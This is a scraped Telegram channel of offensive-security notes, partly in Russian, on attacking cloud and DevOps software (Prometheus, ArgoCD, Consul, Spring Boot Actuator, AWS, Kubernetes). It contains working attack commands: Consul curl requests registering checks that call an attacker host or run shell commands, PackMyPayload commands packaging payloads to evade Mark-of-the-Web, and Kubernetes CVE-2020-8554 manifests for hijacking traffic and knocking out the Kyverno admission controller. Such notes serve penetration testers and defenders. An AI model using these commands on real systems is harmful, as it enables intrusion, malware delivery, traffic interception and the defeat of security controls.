offsec notes
291 subscribers
16 photos
4 files
95 links
reading list
Download Telegram
Prometheus pentest

Exposed administration interfaces

Prometheus provides an optional management API which can be enabled via the command line flags web.enable-admin-api and web.enable-lifecycle. These endpoints allow deletion of all saved metrics and shutting down of the monitoring server, respectively.

The endpoints are disabled by default, but in a non-secure deployment, an attacker can query the status of these settings from the API endpoint /api/v1/status/flags to check if they have been manually enabled:
{
"status": "success",
"data": {
"web.enable-admin-api": "true",
"web.enable-lifecycle": "false",
}
}


Targets disclosure

API endpoint /api/v1/targets exposes services belonging to the infrastructure, including their roles and labels. the endpoint also exposes metadata labels that are added by the target provider. These labels are intended to contain non-sensitive values, like the name of the server or its description, but various cloud platforms may automatically expose sensitive data in these labels

e.g dangerous labels with possible sensitive information disclosure:
__meta_gce_metadata_ssh_keys
__meta_gce_metadata_startup_script
__meta_gce_metadata_kube_env
_meta_kubernetes_pod_annotation_kubectl_kubernetes_io_last_applied_configuration


Articles:
* Don’t let Prometheus Steal your Fire
* How attackers use exposed Prometheus server to exploit Kubernetes clusters
2❤5🐳3
Openstack pentest

Articles
OpenStack from a penetration tester perspective
Part 1
Part 2
Part 3

Tool
openstack-security-tool
❤5🐳3🤯1
ArgoCD - Declarative, GitOps tool for continuous delivery on Kubernetes

Template for deploying pod and code execution within a cluster - Link

CVE-2024-31989
* Use of Risky or Missing Cryptographic Algorithms in Redis Cache (Summary & PoC)
* Redis or Not – Revealing a Critical Vulnerability in Argo CD Kubernetes Controller


CVE-2025-55190
Argo CD's Project API Token Exposes Repository Credentials

curl -sH "Authorization: Bearer $ARGOCD_API_TOKEN" \
"https://argocd.example.com/api/v1/projects/myProject/detailed"


Hardening
* Six Critical Blindspots While Securing Argo CD
* Securing Multi-Cluster ArgoCD
* Securing Continuous Delivery: Argo CD Threat Detection
❤4🐳3
Consul

SSRF
Register agent
curl -X PUT -H "Content-Type: application/json" -d '{
"ID": "testservice",
"Name": "testservice",
"Address": "127.0.0.1",
"Port": 80,
"check": {
"HTTP": "http://attackerIp:attackerPort",
"interval": "10s"
}
}' http://consul-host:8500/v1/agent/service/register


RCE

Register agent
curl -X PUT -H "Content-Type: application/json" -d '{
"ID": "testservice",
"Name": "testservice",
"Address": "127.0.0.1",
"Port": 80,
"check": {
"Args": ["/bin/sh", "-c", "id"],
"interval": "10s"
}
}' http://consul-host:8500/v1/agent/service/register


Agents
Get check output
curl http://consul-host:8500/v1/agent/checks | jq


Unregister agent
curl http://consul-host:8500/v1/agent/service/deregister/testservice -X PUT


Article - Consul by HashiCorp: from Infoleak to RCE
❤4🐳2
Spring Boot Actuator

Article
Under the Radar: Exploring Spring Boot Actuator Misconfigurations
* What makes Spring Boot Actuator a treasure trove for attackers?

* Common Misconfigurations in Spring Boot Actuator
#1 Exposed HeapDump file
#2 Exposed Actuator Gateway Endpoint leading to RCE
#3 Exposed env endpoint

* How Can Organizations Defend Themselves?


Recon
* /actuator - List of all available actuator endpoints

* /actuator/mappings - All URL mappings controllers and handlers), request → method mappings

* /actuator/beans - Shows registered Spring beans

* /actuator/configprops - Values and sources ConfigurationProperties


Exploitation
* /actuator/heapdump - Exposed HeapDump file

* /actuator/env - Expose details about the runtime environment

* /actuator/httptrace - Leakage of payload structures, internal URLs, possible query data

* /actuator/loggers - Shows current logging levels and (if enabled) allows you to change logger levels at runtime

* /actuator/gateway/routes - Ssrf, can lead to rce (cve-2022-22947)
❤3🐳2
AWS pwn

A collection of scripts for AWS penetration testing. Contains sets of scripts for

* Reconnaissance - Things to do with pre-compromise information gathering.

* Exploitation - Things that will help you gain a foothold in an account.

* Stealth - Things that might help you stay hidden after compromising an account.

* Exploration - Things to help you understand what you've pwned.

* Elevation - Things to help you move around an account and gather different levels of access.

* Persistence - Things to help maintain your access to an acccount.

* Exfiltration - Things to help you extract and move data around in AWSy ways.
❤2🐳2
MOTW bypass

Package payloads into ISO, IMG, VHD, VHDX, ZIP, 7z, PDF, CAB for MOTW bypass

# Package a payload into an ISO that bypasses MOTW
python PackMyPayload.py payload.exe -o delivery.iso -t iso

# Package into VHD (still unpatched as of 2025+)
python PackMyPayload.py payload.exe -o delivery.vhd -t vhd


Note: As of November 2022, Microsoft patched ISO files to propagate MOTW to inner files. However, VHD/VHDX containers still bypass MOTW. Many organizations also run older Windows versions where the ISO bypass still works.
❤4🐳1
CVE-2020-8554 unpatchable

Если у вас есть rbac на создание сервисов в кластере, то с помощью externalIPs возможно осуществить ip hijack и перехватить трафик любого приложения в кластере с учетом всех сетевых ограничений

apiVersion: v1
kind: Service
metadata:
name: hijack
spec:
type: ClusterIP
selector:
app: hijack
ports:
- name: http
protocol: TCP
port: 80
targetPort: 8080
externalIPs:
- <IP> # whose traffic we are going to intercept


При деплое сервиса с атрибутом externalIPs, kube proxy создаст соответствующее iptables/IPVS/nftables, etc соответствующее правило, направляющее трафик на выбранный ip

Admission bypass
Исходя из этого, мы можем провести DoS любого приложения в кластере. Это может иметь смысл, например, если kyverno failurePolicy выставлено в Ignore и деплой в кластере не перестанет работать после падения admission controller'а.
Для этого достаточно создать сервис, в externalIPs которого мы запишем ip адрес пода kyverno и направим трафик в любой другой под при помощи selector.
В таком случае readinessProbe начнет стучаться в выбранный нами под и, не получив должного ответа, пометит kyverno-admission-controller статусом READY 0/1, и начнет пропускать деплой привилегированных подов

PoC:
apiVersion: apps/v1
kind: Deployment
metadata:
name: hijack
spec:
selector:
matchLabels:
app: hijack
template:
metadata:
labels:
app: hijack
spec:
containers:
- image: nginx:latest
name: nginx
ports:
- containerPort: 80
---
apiVersion: v1
kind: Service
metadata:
name: hijack
spec:
type: ClusterIP
selector:
app: hijack
ports:
- name: https
protocol: TCP
port: 9443
targetPort: 80
externalIPs:
- <kyverno-admission-controller pod IP>


Mitm
Для полноценного митма нам нужно, чтобы у атакуемого приложения был сервис, по которому к нему обращаются другие ресурсы, тогда мы сможем перехватить ip этого сервиса, а также весь его трафик на наш прокси и направить его дальше на ip пода атакуемого приложения, чтобы процесс захвата трафика не стал инвазивным.
Помимо этого нам понадобится возможность деплоить собственный под в определенном namespace, либо создавать/изменять endpoints для маппинга созданного сервиса с внешним ip, либо ip из соседнего namespace.

Для этого случая можно воспользоваться этим проектом, который будет выступать зеркальным прокси между клиентом и подом атакуемого приложения и позволит просмотреть весь перехваченный http и tcp трафик

Не всегда iptables правило, созданное нашим hijack сервисом, оказывается выше оригинального, в таком случае нам поможет деплой множества сервисов с целью увеличения шансов перекрыть оригинальное правило и перехватить трафик с выбранного ip

Kubernetes man in the middle using LoadBalancer or ExternalIPs (CVE-2020-8554)

З.Ы. deprecate externalIPs планируется в версии k8s v1.40, но имея право patch/update на services/status можно выставить произвольный ip в status.loadBalancer.ingress.ip у сервиса типа LoadBalancer и получить похожий эффект
❤7🐳2
"Name-Only" members in GPP Local Users and Groups are resolved on the client when the policy is applied

That behavior can be abused through sAMAccountName hijacking to redirect privileged local group membership to an attacker-controlled account

Link
🐳4❤2